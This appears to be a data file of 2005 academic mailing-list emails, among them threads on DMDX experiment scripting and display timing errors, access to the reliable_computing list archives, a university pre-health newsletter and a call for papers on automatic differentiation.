5) Advanced determinant calculus: A complement Pages 68-166 C. Krattenthaler 6) A problem of Cayley from 1857 and how he could have solved it Pages 167-253 Gian-Carlo Rota and Joel Alvin Stein 7) The classical adjoint Pages 254-276 Donald W. Robinson 8) On the singularity of matrices Pages 277-280 Don Coppersmith and Alan J. Hoffman 9) Confluent q -extensions of some classical determinants Pages 281-294 Warren P. Johnson 10) Distance matrix and Laplacian of a tree with attached graphs Pages 295-308 R.B. Bapat 11) An efficient resultant for determining reciprocal zeros in polynomials Pages 309-327 A.N. Willson, Jr. and H.J. Orchardhttp://www.sciencedirect.com/science?_ob=GatewayURL&_method=citationSearch&_urlVersion=4&_origin=SDVIALERTASCII&_version=1&_uoikey=B6V0R-4DHXN47-6&md5=f68eba1335b1325a30096525df916b1d 12) Trace identities from identities for determinants Pages 328-342 S. Humphries and C. Krattenthaler 13) On a matrix function interpolating between determinant and permanent Pages 343-347 Emmanuel Briand 14) Non-vanishing of alternants Pages 348-355 Avner Ash 15) Determinants and periodic solutions of delay equations Pages 356-363 M.C. Crabb and A.J.B. Potter 16) Determinants associated to zeta matrices of posets Pages 364-370 Cristina M. Ballantine, Sharon M. Frechette and John B. Little 17) The zrank conjecture and restricted Cauchy matrices Pages 371-385 Guo-Guang Yan, Arthur L.B. Yang and Joan J. Zhou 18) Principal minor sums of ( A + tB ) Pages 386-389 Charles R. Johnson, Stefan Leichenauer, Peter McNamara and Roberto Costas 19) Author index Page 390 --------------- ",0,1 """R. Baker Kearfott"" ",reliable_computing@interval.louisiana.edu,"Sun, 30 Oct 2005 11:01:30 -0600",Re: web access to reliable_computing archives,"Jacques (and the reliable_computing list), Thank you for your explanation. I have made the archives available, at the link: http://interval.louisiana.edu/reliable_computing.archive/ (If you use the simple link http://interval.louisiana.edu then you get my personal home page, upon which there is also a link to the reliable_computing archives.) When you go to that web address, you will obtain a raw list of all the files in the archive. These files are of the form reliable_computing.YYMM For example, reliable_computing.0209 contains the archive from September, 2002. I note that, with this method, all of these archives are accessible PUBLICLY; that is, anyone with access to the web has access to these archives. If anyone on this list objects to that, please inform me immediately. Sincerely, Baker At 09:56 AM 10/30/2005 -0500, Jacques Carette wrote: >You really have to first prove that your ODEs are not sensitive to >initial conditions. If it is, them blowing up is built-in to the ODE, >and no method will help you. Or, if you find one that does, then it just >demonstrated that it is not 'reliable'! > >If you can show that your ODE is relatively stable, then there are >methods that can help. This has been discussed on this list multiple >times - read http://interval.louisiana.edu/reliable_computing.txt >on how to access the archives. There certainly are many experts here who >can help you with this problem, if it is solveable. > >Speaking of which, it would be really nice if the archives were >web-accessible. Are there any plans to do this? > >Jacques > >Zheng Zhijie wrote: > >>Dear Friends, >> >>I want to solve ODEs use Interval Arithmeric, >>but the reult prone to blow-up. >> >>Is there any method to avoid that? >> >> >>¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡Zheng Zhijie >>¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡workhere@126.com >>¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡2005-10-30 >> >> >> > > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 """R. Baker Kearfott"" ",reliable_computing@interval.louisiana.edu,"Sun, 30 Oct 2005 11:06:16 -0600",more Re: web access to reliable_computing archives,"reliable_computing members, If anyone wishes to volunteer to index the archives by topic, or to compile a FAQ, I am sure many of us would be grateful. Best regards, Baker >Date: Sun, 30 Oct 2005 11:01:30 -0600 >To: reliable_computing@interval.louisiana.edu >From: ""R. Baker Kearfott"" >Subject: Re: web access to reliable_computing archives > >Jacques (and the reliable_computing list), > >Thank you for your explanation. > >I have made the archives available, at the link: > > http://interval.louisiana.edu/reliable_computing.archive/ > >(If you use the simple link > > http://interval.louisiana.edu > >then you get my personal home page, upon which there is also >a link to the reliable_computing archives.) > >When you go to that web address, you will obtain a raw list >of all the files in the archive. These files are of the form > > reliable_computing.YYMM > >For example, > > reliable_computing.0209 > >contains the archive from September, 2002. > >I note that, with this method, all of these archives are >accessible PUBLICLY; that is, anyone with access to the web >has access to these archives. If anyone on this list objects >to that, please inform me immediately. > >Sincerely, > >Baker > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA ---------------------------------------------------------------",0,1 Michelle Lim ,DMDX@psy1.psych.arizona.edu,"Mon, 31 Oct 2005 11:42:56 +1100",[DMDX] Re: RE: Stroop responses,"Hey Andy Thanks alot for the suggestion. Unfortunately, the addition didn't appear to help as the screen did not clear immediately upon the response. This is the new set of parameters i used. I am pretty sure that i need to omit something from it which is causing the delay. N16 0 “Practice Items” ; 0 “Press SPACEBAR to start”; +1 <%ms 500> “+” / *“Happy”/; Michelle Andy wrote: > Dear Michelle, I'm running a similar experiment at the moment. I used the > command to get past your ""clear the display as soon as the > participant responds"" problem. Below is some sample code. Good luck with > that, Andy. > > > > > 0> shift> > > $0 ""instructions"";$ > > > =1 ""CROSS"" / / > * ""ALAF263_fb"", ""KAEM361_mb"" ; > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > Department of Psychology School of Behavioural Science University of Melbourne 3010 Victoria Tel: + 61 3 8344 3895 Fax: + 61 3 9347 6618 limm@unimelb.edu.au www.psych.unimelb.edu.au",0,1 Michelle Lim ,DMDX@psy1.psych.arizona.edu,"Mon, 31 Oct 2005 14:10:03 +1100",[DMDX] Stroop responses,"Hi Someone suggested that i omit the ""/"" after the word stimuli and that solved the problem. However, i am getting this error message in my zil file. Display error at msec 401.31, tick 13 in item 0, frame ""Practice Items"" ! moved into video memory 4 ticks late ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 3 ticks Can someone help me understand what that means? and whether i should fix this even though the experiment runs. Cheers Michelle ---------------------------- Original Message ---------------------------- Subject: [DMDX] Re: RE: Stroop responses From: ""Michelle Lim"" Date: Mon, October 31, 2005 11:42 am To: -------------------------------------------------------------------------- Hey Andy Thanks alot for the suggestion. Unfortunately, the addition didn't appear to help as the screen did not clear immediately upon the response. This is the new set of parameters i used. I am pretty sure that i need to omit something from it which is causing the delay. N16 0 “Practice Items” ; 0 “Press SPACEBAR to start”; +1 <%ms 500> “+” / *“Happy”/; Michelle Andy wrote: > Dear Michelle, I'm running a similar experiment at the moment. I used the > command to get past your ""clear the display as soon as the > participant responds"" problem. Below is some sample code. Good luck with > that, Andy. > > > > > 0> shift> > > $0 ""instructions"";$ > > > =1 ""CROSS"" / / > * ""ALAF263_fb"", ""KAEM361_mb"" ; > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > Department of Psychology School of Behavioural Science University of Melbourne 3010 Victoria Tel: + 61 3 8344 3895 Fax: + 61 3 9347 6618 limm@unimelb.edu.au www.psych.unimelb.edu.au Department of Psychology School of Behavioural Science University of Melbourne 3010 Victoria Tel: + 61 3 8344 3895 Fax: + 61 3 9347 6618 limm@unimelb.edu.au www.psych.unimelb.edu.au",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 30 Oct 2005 21:14:40 -0700",[DMDX] Re: Stroop responses,"At 02:10 PM 10/31/2005 +1100, you wrote: >Hi >Someone suggested that i omit the ""/"" after the word stimuli and that >solved the problem. However, i am getting this error message in my zil >file. > >Display error at msec 401.31, tick 13 in item 0, frame ""Practice Items"" >! moved into video memory 4 ticks late >! (previous frame's duration will have been longer) >! -- possibly caused by another process taking 3 ticks > >Can someone help me understand what that means? and whether i should fix >this even though the experiment runs. When using a fixed delay between items it's pretty common to see just the first item have a timing error like this. It takes some machines a lot longer to get the first display requests done and once they're out of the way the rest of the experiment is often fine. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Can't sleep? Try counting your blessings. ",0,0 Skidmore Spam Firewall ,irc-list-web@skidmore.edu,"Mon, 31 Oct 2005 07:06:38 -0500",Spam Quarantine Summary,"Dear irc-list-web@skidmore.edu, this is your quarantine summary from the Skidmore Spam Firewall. You have 11 messages in your spam quarantine inbox. To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: https://monty.skidmore.edu:443/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=fdf407a7bf577093551e816ef7f1a679&et=1131192398&locale= ",0,1 Heather E McInnis ,gensci-list@lists.uoregon.edu,"Mon, 31 Oct 2005 11:34:15 -0800",gensci-list: Fwd: uo_pre_health: Health News November 2005,"HEALTH NEWS - NOVEMBER 2005 If you would like an announcement or meeting posted in the pre-health newsletter, please email your submissions to loric@uoregon.edu. The newsletter is sent at the beginning of each month. To get your announcement in on time, please email Lori no later than the 20th of the month prior. STUDENT ORGANIZATIONS . Asklepiads Pre-Health Society The pre-health society is designed to help students learn more about careers in the medical field and gain medical experience through their preceptorship program. They are meeting on November 1 at 6:00 pm in Willamette 110 and membership is open to any interested students. Additional meetings are going to be every other week at the same time and place. The Asklepiads can be contacted via e-mail at premed@uoregon.edu . . Pre-Pharmacy Club The pharmacy club is designed to help students achieve their goals related to any area of the pharmacy field, including but not limited to careers such as pharmacists, pharmacy technicians, and pharmaceutical sales representatives. This club is always open to new members who are taking pre-pharmacy courses or anyone who is interested in learning more about this field. The pharmacy club can be contacted via e-mail at prepharm@uoregon.edu. . Pre-Dental Club The dental club is organized to help students learn more about professions related to the dental field. They also have a preceptorship program which will help connect students with dental professionals in the community. The dental club can be contacted via e-mail at dental@uoregon.edu. PREHEALTH ADVISING THE 2006 CLASS SCHEDULE IS CURRENTLY AVAILABLE ONLINE! When was the last time you were advised by your prehealth adviser? If it has been awhile please make an appointment to see your pre-health adviser prior to registering for winter term. Registration for winter term begins on November 14th. Check NEWS on the Registrar's homepage to find out what date and time you can register. Here are the pre-health advisers and their contact information: Nursing, PT/OT/Podiatry/Pharmacy Lori Manson, 346-3211, Office of Academic Advising 364 Oregon Hall Dental, Optometry, Physician Assistant, Medicine, Veterinary, and Medical Technology Karen Cooper,346-3211, Office of Academic Advising 364 Oregon Hall WORKSHOPS/COURSES/ANNOUNCEMENTS . Preparing for the MCAT: This workshop will cover preparing for the Medical Admissions College Test including: structure of the test, dateof the test, scoring of the test, review options for the test, and use of scores. WHEN: Wednesday, November 2nd, 4pm WHERE: 360 Oregon Hall. . Choosing a Major: Unsure about what major you should select? Are you worried about making the right choice? This workshop will help you devise concrete decision making strategies and identify campus wide resources to assist you. WHEN: Thursday, November 10th, 3:30pm WHERE: 360 Oregon Hall. . How Can I Prepare for a Nursing Degree?: This workshop will give an overview of nursing programs and the various pathways that lead to a degree in nursing. There will be a discussion of prerequisite courses, curriculum planning, and tips on how to decide which program is best for you. WHEN: Wednesday, November 9th, 3:30pm WHERE: 360 Oregon Hall . BI 199 - Introduction to the Health Professions (Winter Term - CRN 20757 Wednesday 1400-1520): Consider taking Biology 199 Introduction to the Health Professions if you are thinking about a health related career but don't know which direction to take. Each week of the class different health professions are highlighted with speakers from those professions presenting and answering your questions. In the past years we have had speakers from allopathic and osteopathic medicine, physical therapy, chiropractic medicine, podiatry, optometry, pharmacy, nursing, nurse practioners and physician assistants. . Career Fair: The fall career fair will take place on Thursday, November 10th from 2pm-7pm in the EMU ballroom. This fair highlights different careers and job opportunities within those careers. It is a great informal way to meet future employers and gather information! Companies such as Pfizer and Rite Aid Corporation will be there. Nonprofit organizations such as PeaceHealth/Sacred Heart will be there with information about internship opportunities and government agencies such as the Navy will also be present to talk about their pre-health scholarships. . Just in case any of you will be (or can be) in southern CA the weekend of Nov. 12... Western University of Health Sciences, College of Osteopathic Medicine of the Pacific (COMP), Pomona, California This is your chance to find out what Osteopathic Medicine is all about. What is it? How did it get started? Where's it going? An alumnus will answer these questions and more! 8:45am to 3pm Western University Campus Health Professions Center 521 East Third Street Pomona, CA $15.00 per person, includes lunch. Registration deadline: November 4 For more information, contact Jennifer Cortez at (909) 469-5330; jdcortez@westernu.edu. . OHSU SCHOOL OF NURSING INFORMATION SESSION November 16, 8:30am, on OHSU campus in Portland. ONLY 75 SPACES AVAILABLE. Email andersje@ohsu.edu to reserve a spot. Email your name, the date of the info session you would like to attend (Nov. 16), your address, phone number, email address, and your academic interest (Bachelor's degree? Master's degree? Specialization?). . UNIVERSITY OF PORTLAND SCHOOL OF NURSING INFORMATION SESSION December 1, 5-7pm on UP campus. Email nursing@up.edu for more info, or go to their website for location and directions. www.up.edu. Click on Academics and then School of Nursing for their Nursing Calendar. . LINFIELD COLLEGE SCHOOL OF NURSING INFORMATION SESSION December 8, 6-7pm on Portland campus. Email sbuffa@linfield.edu to RSVP. . Check the Health Education website for November programming that may be of interest. Go to http://healthed.uoregon.edu/ and click on Calendar. . PRE-HEALTH STUDENT RESOURCES! Go to www.studentdoctor.net and get information such as professional school interview feedback, Volunteering information, resources and more. . ACADEMIC MEDICINE ONLINE The October issue of Academic Medicine presented articles on a variety of topics in academic medicine. Two are free to non-subscribers: ""Validity of the Medical College Admission Test for Predicting Medical School Performance"" and ""Clinical Myths of the Cultural 'Other': Implications For Latino Patient Care."" The most widely cited journal in its field, Academic Medicine Publishes articles on the most pressing challenges facing the leaders of medical schools and teaching hospitals today. www.academicmedicine.org. * PEACE CORPS The Peace Corps has exciting careers for pre-health students in health education and HIV/AIDS. Every year the Peace Corps sends thousands of volunteers overseas to poor communities to help combat disease, poor sanitation, and provide education in nutrition, immunizations, dental health, and more. The Peace Corps needs your pre-health training and willingness to help others. The Peace Corps is a 27 month commitment with great benefits that include: student loan deferment, transportion cost, living allowance, complete health care, paid vacation, over $6,000 upon completion, and an adventure that will change your life. In addition, Peace Corps' hands-on experience in public health education makes you stand out among the rest of graduate school applicants competing for medical school, nursing school, physical therapy, and related health care fields. The Peace Corps also offers fantastic opportunities to earn your graduate degree while serving in the Peace Corps through the Masters International Program or qualify for fellowships for graduate study through the Peace Corps/Fellow Program. Come find out more about your options at upcoming events: Nov. 9, 10:00-3:00 EMU Information Table, 7:00 Information Session at REI (306 Lawrence St.) Nov. 10, The UO Career Fair Nov. 11 12:00 Informatin Session, EMU Rogue Room For more information regarding your opportunities in the health care field through Peace Corps, contact me below: Sarah Schrock Peace Corps Campus Representative pcorps@uoregon.edu 220 Hendricks Hall 346-6026 Fall Office Hours Mon/Wed 1:00-3:45 Thurs 2:30-5:00 * INTERNATIONAL SERVICE LEARNING EXPERIENCE IN BELIZE JANUARY 1-15, 2006 Russell Stockard, Ph.D. from California Lutheran University will be leading globalization/communication and health care teams in Belize from January 1-15, 2006. Cost is $1985 (+$65 app fee) including airfare from Los Angeles International Airport. Academic credit and financial aid is available. Go to www.ISLonline.org for more information or email info@ISLonline.org. HEALTH CAREER PROFILE Each month we will choose a health profession to profile which will provide basic information about the profession and resources where you can get additional information. In this month's newsletter we will be profiling D.O.'s (Doctors of Osteopathic Medicine). An Explanation of D.O.s D.O.s are similar to medical doctors in that they prescribe medications, perform surgery, and provide a variety of other services.However, what makes a D.O. different from medical doctors is their approach and philosophy. D.O.s take a whole person approach to practicing medicine when making a diagnosis, rather than only focusing on symptoms. They believe that all parts of the body work together and influence each other. In addition D.O.s focus more on preventing illness by teaching patients how to maintain a healthy lifestyle through diet and exercise. A Brief History Osteopathic medicine was developed in 1874 by Dr. Andrew Taylor Still because he was dissatisfied with the effectiveness of 19th Century medicine. He was one of the first people who studied the relationship between health and the absence of disease in the human body. Dr. Still was a pioneer in the concept of wellness and the identification of the musculoskeletal system as a key element of health. Pre-Professional Training The path to a D.O. degree is similar to an MD degree. After completing a Bachelor's degree, D.O.s complete four years of specialized training at an osteopathic medical school. While at the osteopathic medical school students get additional training in osteopathic manipulative treatment, OMT, which involves using the hands to diagnose, treat, and prevent illness and injury. Then students complete an internship for one year during which they are exposed to all areas of primary care medicine, such as, family practice, internal medicine, pediatrics and obstetrics and gynecology. Next, D.O.s complete their residency designed to last between two and six years allowing D.O.s to specialize in an area of medicine. Lastly, prior to practicing, a D.O. must complete a state licensing exam and these can vary from state to state. A Few Interesting Facts . Approximately 65% of all osteopathic physicians practice in primary care. . Applicants to both D.O. and M.D. medical colleges typically have a four-year undergraduate degree with an emphasis on science. . The number of D.O.s has increased 67% since 1990. . D.O.s represent 6% of total U.S. physicians and over 8% of all military physicians. . Each year, more than 100 million patient visits are made to D.O.s. Student Profile . About 20% of applicants are non-traditional students who are considering a new career in osteopathic medicine later in life. . Almost all applicants have a bachelor's degree. . Many applicants have earned a master's degree or doctorate in another subject. . For the 2003 entering class: . The average MCAT scores were 7.97 verbal, 7.76 physical and 8.26 biology. . The average overall grade point average was 3.36 and the average science grade point average was 3.23. Please note that MCAT scores and grade point averages are slightly higher for matriculating students than scores reported for the overall applicant pool. . Personal characteristics that osteopathic schools are looking for in potential students: . well-rounded . good communication and interpersonal skills . a record of community service . a record of leadership . some clinical experience . participated in a variety of extracurricular activities . diverse backgrounds . motivated to pursue a career in osteopathic medicine . knowledge of osteopathic medicine . shadowed an osteopathic physician References American Osteopathic Association www.osteopathic.org American Association of Colleges of Osteopathic Medicine www.aacom.org For Additional Information The History of Osteopathic Medicine Virtual Museum http://history.aoa-net.org/ The Student Doctor Network www.studentdoctor.net/do/index.asp NEWS Hospitals have changed charity care, billing practices for uninsured Many hospitals have adopted more generous charity care guidelines for uninsured patients after recent lawsuits and bad publicity alleging aggressive billing and collection practices and overcharging of uninsured patients, according to a study released today by the Center for Studying Health System Change (HSC). Based on findings from site visits this year in 12 communities across the nation, HSC found that most hospitals have either recently changed their pricing, billing and collection policies or tried to improve the clarity of the information provided to patients. According To HSC results, it is now common for hospitals to provide charity care to uninsured persons with incomes under 200 percent of the federal poverty level, and to offer sliding-scale discounts beyond this income threshold, in some cases up to 400 percent or 500 percent of the poverty level. The research also indicated that changes in billing and collection policies have had little impact on hospital finances. Information: Go to http://hschange.org/CONTENT/788/ National Academies release landmark report on U.S. science and competitiveness The foundations of U.S. preeminence in science and engineering are eroding at a time when the rest of the world is advancing and the U.S. economy may suffer for it, according to a report released last week by the National Academies. A committee chaired by Norman Augustine, retired chairman and chief executive officer of Lockheed Martin Corporation, and comprised of industrial and academic leaders, including three Nobel laureates, Analyzed U.S. research and development trends at the request of Senators Lamar Alexander (R-TN) and Jeff Bingaman (D-NM). The report, ""Rising Above the Gathering Storm: Energizing and Employing America for a Brighter Economic Future,"" recommends scholarships to recruit 10,000 new teachers in K-12 science and math; other scholarships for undergraduate and graduate students in science and engineering fields; increased federal funding for basic research; extension of research and development tax credits to industry; and a reform of patent and visa policies. Information: Stephen Heinig, AAMC Division of Biomedical and Health Sciences Research, sheinig@aamc.org, 202.828.0488 or go to http://www4.nationalacademies.org/news.nsf/isbn/0309100399?OpenDocumen t Health groups urge Congress to pass mental health parity legislation Almost 250 healthcare organizations, including the AAMC, sent a letter This month urging Congress to pass legislation to end ""continuing Discriminatory health insurance practices that arbitrarily deny people needed mental Health treatment."" In a life-threatening event, such as the devastation of Hurricane Katrina, access to mental health care is critical but is often not available to vulnerable populations. The letter encourages Congress to pass a full mental health parity law to end the practice of discriminatory treatment limitations and financial restrictions in mental health coverage. Information: Go to http://www.aamc.org/advocacy/library/teachphys/corres/2005/101405.pdf LISTSERVE INFORMATION If you know someone who is interested in receiving this newsletter send an e-mail to Stephanie at stran@uoregon.edu. If you ever want to remove yourself from this mailing list, you can send an e-mail to with the following command in the body of your email message: unsubscribe uo_pre_health",0,1 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Mon, 31 Oct 2005 10:36:12 -0700","From NA Digest; Call for papers: 3rd International Workshop in Automatic Differentiation, May 2006","Forwarding. Vladik ******************************************** From: ""Forth Dr Shaun"" CALL FOR PAPERS: 3rd International Workshop on AUTOMATIC DIFFERENTIATION: TOOLS AND APPLICATIONS http://www.autodiff.org/iccs06/ at ICCS 2006, University of Reading, UK, May 28-31, 2006. Derivatives, also known as sensitivities, are ubiquitous in various areas of computational science and their accurate and efficient evaluation is often indispensable for a wide variety of numerical algorithms. Automatic Differentiation (AD) is a technology for automatically augmenting computer programs, including arbitrarily complex simulations, with statements for the computation of derivatives. In contrast to traditional numerical differentiation based on divided differences, AD provides guaranteed accuracy and computational efficiency. The primary goal of this session is to provide a venue for computational scientists to report on recent advances in tool design as well as innovative uses of AD tools and AD-related methodologies. Authors are invited to submit original and unpublished papers in all areas of AD with an emphasis on tool development and successful applications. Refer to the workshop's website for further instructions. Organizers Dates C. Bischof (RWTH Aachen U.) Full papers submission: 2. Dec '05 S. Forth (Cranfield U.) Notification of acceptance: 31 Jan '06 U. Naumann (RWTH Aachen U.) Camera ready papers: 10 Feb '06 J. Utke (Argonne National Lab.) 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Bruce Blonigen Director, Professional Distinctions Knight Professor of Social Science Department of Economics 1285 University of Oregon Eugene, OR 97403-1285 Ph: 541-346-4680 Fax: 541-346-1243 ",0,0 Lisandro Kaunitz ,dmdx@psy1.psych.arizona.edu,"Tue, 01 Nov 2005 12:08:01 -0300",[DMDX] Display error," Hello everybody, I`m preparing an experiment on masked priming with pictures. When running the experiment on my notebook the program flashes some pictures where they shouldn´t appear, for example if the sequence is Mask, prime, mask, the programm flashes onto the screen a picture of the prime before the first mask. I get the display errors (almost in every line of the script of my experiment) >! moved into video memory X ticks late >! (previous frame's duration will have been longer) >! -- possibly caused by another process taking 3 ticks Johnathan you recently wrote to the list: ""When using a fixed delay between items it's pretty common to see just the first item have a timing error like this. It takes some machines a lot longer to get the first display requests done and once they're out of the way the rest of the experiment is often fine."" I have run the experiment on a friend´s notebook and the program flows just fine. In my computer however, it takes longer to get the first display request done as you said, but once the request is done it keeps producing errors. It keeps on flashing pictures where they shouldn´t be and the exposure times of some of them seem to be suffering from important differences when they should be all of the same duration (this is important for my experiment because the primes must be subliminally presented). Is this a hardware problem? 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Cheers, SK Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Jeff Diamond ,cs382m@lists.cc.utexas.edu,"Mon, 31 Oct 2005 21:28:53 -0600",[CS382M:37] Re: Final Project Assignment,"Steve, if we decide to go with an analytical project, is there any details we can give other than picking the topic? - Jeff Steve Keckler wrote: > CS382m-ers, > > Just a reminder - I posted the project assignment on the web page. > Don't forget that the first deadline (ie. deciding on the details of > your project) is on Wednesday Nov. 2. > > Cheers, > > SK > > Steve Keckler Computer > Architecture and Technology Lab > Associate Professor Tel: (512) 471-9763 > Department of Computer Sciences Dept: (512) 471-7316 > 1 University Station C0500 Fax: (512) 232-1413 > The University of Texas at Austin E-mail: skeckler@cs.utexas.edu > Austin, TX 78712-0233 > http://www.cs.utexas.edu/users/skeckler > > > ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 01 Nov 2005 11:25:38 -0700",[DMDX] Re: Display error,"At 12:08 PM 11/1/2005 -0300, you wrote: > >Is this a hardware problem? In a way, yes. >Is there a way I can fix it without changing the machine? There is a discussion of these issues in the help. You want to get new video drivers. If that doesn't work you want to use one of the limited mode shortcuts when you run DMDX, either DMDX for GeForce video cards or worst case DMDX for really bad video cards. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Can't sleep? Try counting your blessings. ",0,0 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Mon, 31 Oct 2005 21:59:15 -0600",[CS382M:38] Re: Final Project Assignment,"Nope - I'll post the papers on Wednesday (you'll have to trust me that they will be good). Steve On Oct 31, 2005, at 9:28 PM, Jeff Diamond wrote: > Steve, if we decide to go with an analytical project, is there any > details we can give other than picking the topic? > - Jeff > > Steve Keckler wrote: > >> CS382m-ers, >> >> Just a reminder - I posted the project assignment on the web page. >> Don't forget that the first deadline (ie. deciding on the details of >> your project) is on Wednesday Nov. 2. >> >> Cheers, >> >> SK >> >> Steve Keckler Computer >> Architecture and Technology Lab >> Associate Professor Tel: (512) 471-9763 >> Department of Computer Sciences Dept: (512) 471-7316 >> 1 University Station C0500 Fax: (512) 232-1413 >> The University of Texas at Austin E-mail: skeckler@cs.utexas.edu >> Austin, TX 78712-0233 >> http://www.cs.utexas.edu/users/skeckler >> >> >> >> Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 minson@uoregon.edu,minson@uoregon.edu,"Tue, 01 Nov 2005 12:41:42 -0800",Class This Week!,"Hey Everyone! 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It would be nice to be able to guarantee when running a script that the volume level is set to whatever the experimenter wishes. Is there a way to get DMDX to set the overall windows volume level within a script? Or failing that, can the keyword be used in the top line of the script, so that at least people can guarantee a relative volume level (hopefully meaning that the windows volume does not get changed). Thanks, Gareth --------------------------------------------------------------------------- Gareth Gaskell Department of Psychology University of York Heslington, York YO10 5DD UK Phone: 01904 433187 Fax: 01904 433181 Office: Psychology, C226 Email: g.gaskell@psych.york.ac.uk Home page: http://www-users.york.ac.uk/~mgg5/ Research group: http://www.york.ac.uk/res/prg/ ----------------------------------------------------------------------------",0,1 PlayerGuest ,vmayer@gladstone.uoregon.edu,"Fri, 04 Nov 2005 00:00:02 -0500",Ticket Lockout,"TO: Valerie Mayer This is a reminder that you have until 11/6/2005 9:00:00 AM to submit or make changes to your guest list for the game against Stanford. To make changes, please go to http://www.playerguest.com. ",0,1 C A Ankerstein ,DMDX mailing list ,"Fri, 04 Nov 2005 14:30:25 +0000",[DMDX] participant controlled rate of presentation,"Hi All, there's a student in our department who would like to run an experiment in which participants listen to sentences in a self-paced experiment. She'd like to present the sentences a few words at a time, having the participants press a key when they're ready to hear the next bit. She'd like to measure the time it takes between each key press. Is that possible? Would the script look like any script with .wav files using the right shift key, for example, to bring up the next item, maybe using a long timeout interval so people have time to bring up the next item? Or is there a more elegant way of doing this? Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 04 Nov 2005 07:31:30 -0700",[DMDX] Re: global volume control,"DMDX used to change the overall volume (the exact mechanism by which it did it I forget) however it caused no end of problems because the volume stayed set that way once DMDX exited. So it was removed. At 12:37 PM 11/4/2005 +0000, you wrote: >Hi, > >We're having problems to do with people requiring different sound volume >levels when running multiple experiments on the same computer. It would be >nice to be able to guarantee when running a script that the volume level >is set to whatever the experimenter wishes. > >Is there a way to get DMDX to set the overall windows volume level within >a script? > >Or failing that, can the keyword be used in the top line of the >script, so that at least people can guarantee a relative volume level >(hopefully meaning that the windows volume does not get changed). > >Thanks, > >Gareth > > > > >--------------------------------------------------------------------------- > Gareth Gaskell > Department of Psychology > University of York > Heslington, York YO10 5DD UK > > Phone: 01904 433187 Fax: 01904 433181 > Office: Psychology, C226 > Email: g.gaskell@psych.york.ac.uk > Home page: http://www-users.york.ac.uk/~mgg5/ > Research group: http://www.york.ac.uk/res/prg/ >---------------------------------------------------------------------------- > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Can't sleep? Try counting your blessings.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 04 Nov 2005 07:37:25 -0700",[DMDX] Re: participant controlled rate of presentation,"At 02:30 PM 11/4/2005 +0000, you wrote: >Hi All, > >there's a student in our department who would like to run an experiment in >which >participants listen to sentences in a self-paced experiment. She'd like to >present the sentences a few words at a time, having the participants press a >key when they're ready to hear the next bit. She'd like to measure the time it >takes between each key press. > >Is that possible? Yes. > Would the script look like any script with .wav files using >the right shift key, for example, to bring up the next item, maybe using a >long >timeout interval so people have time to bring up the next item? No, you would use a fixed delay between items and have to calculate what the time between clockons was later when you analyze the data. > Or is there a >more elegant way of doing this? You could use to simplify post run calculations so you know when each clockon occurred. You could also probably use counters to calculate the times automatically, however that might be a little complicated. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Can't sleep? Try counting your blessings.",0,0 C A Ankerstein ,DMDX@psy1.psych.arizona.edu,"Fri, 04 Nov 2005 14:56:44 +0000",[DMDX] Re: participant controlled rate of presentation,"Hi Jonathan, thanks for the speedy response. You said I should use a fixed delay between items and would have to calculate what the time between clockons was later when analyzing the data. How do I do that? Are there any sample scripts out there that I could work from? Thanks, Carrie ",0,0 